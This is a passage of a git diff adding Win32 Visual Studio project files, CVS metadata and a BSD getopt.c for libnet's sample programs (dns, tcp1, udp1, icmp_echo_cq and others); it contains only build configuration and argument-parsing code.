+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dhcp_discover.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dhcp_discover.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/dns/CVS/Entries b/libnet/sample/win32/dns/CVS/Entries
new file mode 100644
index 0000000..51340e0
--- /dev/null
+++ b/libnet/sample/win32/dns/CVS/Entries
@@ -0,0 +1,2 @@
+/dns.vcproj/1.1/Fri Oct 17 00:25:54 2003//
+D
diff --git a/libnet/sample/win32/dns/CVS/Repository b/libnet/sample/win32/dns/CVS/Repository
new file mode 100644
index 0000000..6459a55
--- /dev/null
+++ b/libnet/sample/win32/dns/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/dns
diff --git a/libnet/sample/win32/dns/CVS/Root b/libnet/sample/win32/dns/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/dns/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/dns/dns.vcproj b/libnet/sample/win32/dns/dns.vcproj
new file mode 100644
index 0000000..c72a307
--- /dev/null
+++ b/libnet/sample/win32/dns/dns.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="dns"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dns.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dns.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/get_addr/CVS/Entries b/libnet/sample/win32/get_addr/CVS/Entries
new file mode 100644
index 0000000..6b78e48
--- /dev/null
+++ b/libnet/sample/win32/get_addr/CVS/Entries
@@ -0,0 +1,2 @@
+/get_addr.vcproj/1.3/Thu Nov 27 20:28:39 2003//
+D
diff --git a/libnet/sample/win32/get_addr/CVS/Repository b/libnet/sample/win32/get_addr/CVS/Repository
new file mode 100644
index 0000000..8587665
--- /dev/null
+++ b/libnet/sample/win32/get_addr/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/get_addr
diff --git a/libnet/sample/win32/get_addr/CVS/Root b/libnet/sample/win32/get_addr/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/get_addr/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/get_addr/get_addr.vcproj b/libnet/sample/win32/get_addr/get_addr.vcproj
new file mode 100644
index 0000000..e849ca6
--- /dev/null
+++ b/libnet/sample/win32/get_addr/get_addr.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="get_addr"
+ ProjectGUID="{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/get_addr.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/get_addr.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/get_addr.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\get_addr.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/getopt.c b/libnet/sample/win32/getopt.c
new file mode 100644
index 0000000..152aecd
--- /dev/null
+++ b/libnet/sample/win32/getopt.c
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 1987, 1993, 1994
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by the University of
+ * California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if defined(LIBC_SCCS) && !defined(lint)
+static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95";
+#endif /* LIBC_SCCS and not lint */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int opterr = 1, /* if error message should be printed */
+ optind = 1, /* index into parent argv vector */
+ optopt, /* character checked for validity */
+ optreset; /* reset getopt */
+char *optarg; /* argument associated with option */
+
+#define BADCH (int)'?'
+#define BADARG (int)':'
+#define EMSG ""
+
+/*
+ * getopt --
+ * Parse argc/argv argument vector.
+ */
+int
+getopt(nargc, nargv, ostr)
+ int nargc;
+ char * const *nargv;
+ const char *ostr;
+{
+#ifdef WIN32
+ char *__progname="windump";
+#else
+ extern char *__progname;
+#endif
+ static char *place = EMSG; /* option letter processing */
+ char *oli; /* option letter list index */
+
+ if (optreset || !*place) { /* update scanning pointer */
+ optreset = 0;
+ if (optind >= nargc || *(place = nargv[optind]) != '-') {
+ place = EMSG;
+ return (-1);
+ }
+ if (place[1] && *++place == '-') { /* found "--" */
+ ++optind;
+ place = EMSG;
+ return (-1);
+ }
+ } /* option letter okay? */
+ if ((optopt = (int)*place++) == (int)':' ||
+ !(oli = strchr(ostr, optopt))) {
+ /*
+ * if the user didn't specify '-' as an option,
+ * assume it means -1.
+ */
+ if (optopt == (int)'-')
+ return (-1);
+ if (!*place)
+ ++optind;
+ if (opterr && *ostr != ':')
+ (void)fprintf(stderr,
+ "%s: illegal option -- %c\n", __progname, optopt);
+ return (BADCH);
+ }
+ if (*++oli != ':') { /* don't need argument */
+ optarg = NULL;
+ if (!*place)
+ ++optind;
+ }
+ else { /* need an argument */
+ if (*place) /* no white space */
+ optarg = place;
+ else if (nargc <= ++optind) { /* no arg */
+ place = EMSG;
+ if (*ostr == ':')
+ return (BADARG);
+ if (opterr)
+ (void)fprintf(stderr,
+ "%s: option requires an argument -- %c\n",
+ __progname, optopt);
+ return (BADCH);
+ }
+ else /* white space */
+ optarg = nargv[optind];
+ place = EMSG;
+ ++optind;
+ }
+ return (optopt); /* dump back option letter */
+}
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Entries b/libnet/sample/win32/icmp_echo_cq/CVS/Entries
new file mode 100644
index 0000000..3c6209f
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/CVS/Entries
@@ -0,0 +1,2 @@
+/icmp_echo_cq.vcproj/1.3/Thu Nov 27 20:28:59 2003//
+D
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Repository b/libnet/sample/win32/icmp_echo_cq/CVS/Repository
new file mode 100644
index 0000000..a3da218
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/icmp_echo_cq
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Root b/libnet/sample/win32/icmp_echo_cq/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj b/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj
new file mode 100644
index 0000000..0fd845f
--- /dev/null
+++ b/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="icmp_echo_cq"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/icmp_echo_cq.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/icmp_echo_cq.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\icmp_echo_cq.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/tcp1/CVS/Entries b/libnet/sample/win32/tcp1/CVS/Entries
new file mode 100644
index 0000000..ce48fb6
--- /dev/null
+++ b/libnet/sample/win32/tcp1/CVS/Entries
@@ -0,0 +1,2 @@
+/tcp1.vcproj/1.2/Fri Oct 17 00:22:38 2003//
+D
diff --git a/libnet/sample/win32/tcp1/CVS/Repository b/libnet/sample/win32/tcp1/CVS/Repository
new file mode 100644
index 0000000..e07d391
--- /dev/null
+++ b/libnet/sample/win32/tcp1/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/tcp1
diff --git a/libnet/sample/win32/tcp1/CVS/Root b/libnet/sample/win32/tcp1/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/tcp1/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/tcp1/tcp1.vcproj b/libnet/sample/win32/tcp1/tcp1.vcproj
new file mode 100644
index 0000000..16f9569
--- /dev/null
+++ b/libnet/sample/win32/tcp1/tcp1.vcproj
@@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="tcp1"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/tcp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/tcp1.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\tcp1.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ <File
+ RelativePath="..\..\libnet_test.h">
+ </File>
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/udp1/CVS/Entries b/libnet/sample/win32/udp1/CVS/Entries
new file mode 100644
index 0000000..7c7be45
--- /dev/null
+++ b/libnet/sample/win32/udp1/CVS/Entries
@@ -0,0 +1,3 @@
+/dns.vcproj/1.1/Wed Sep 10 18:43:20 2003//
+/udp1.vcproj/1.2/Fri Oct 17 00:23:05 2003//
+D
diff --git a/libnet/sample/win32/udp1/CVS/Repository b/libnet/sample/win32/udp1/CVS/Repository
new file mode 100644
index 0000000..e08dd08
--- /dev/null
+++ b/libnet/sample/win32/udp1/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/udp1
diff --git a/libnet/sample/win32/udp1/CVS/Root b/libnet/sample/win32/udp1/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/udp1/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/udp1/dns.vcproj b/libnet/sample/win32/udp1/dns.vcproj
new file mode 100644
index 0000000..fe62490
--- /dev/null
+++ b/libnet/sample/win32/udp1/dns.vcproj
@@ -0,0 +1,125 @@
+<?xml version="1.0" encoding = "Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.00"
+ Name="dns"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
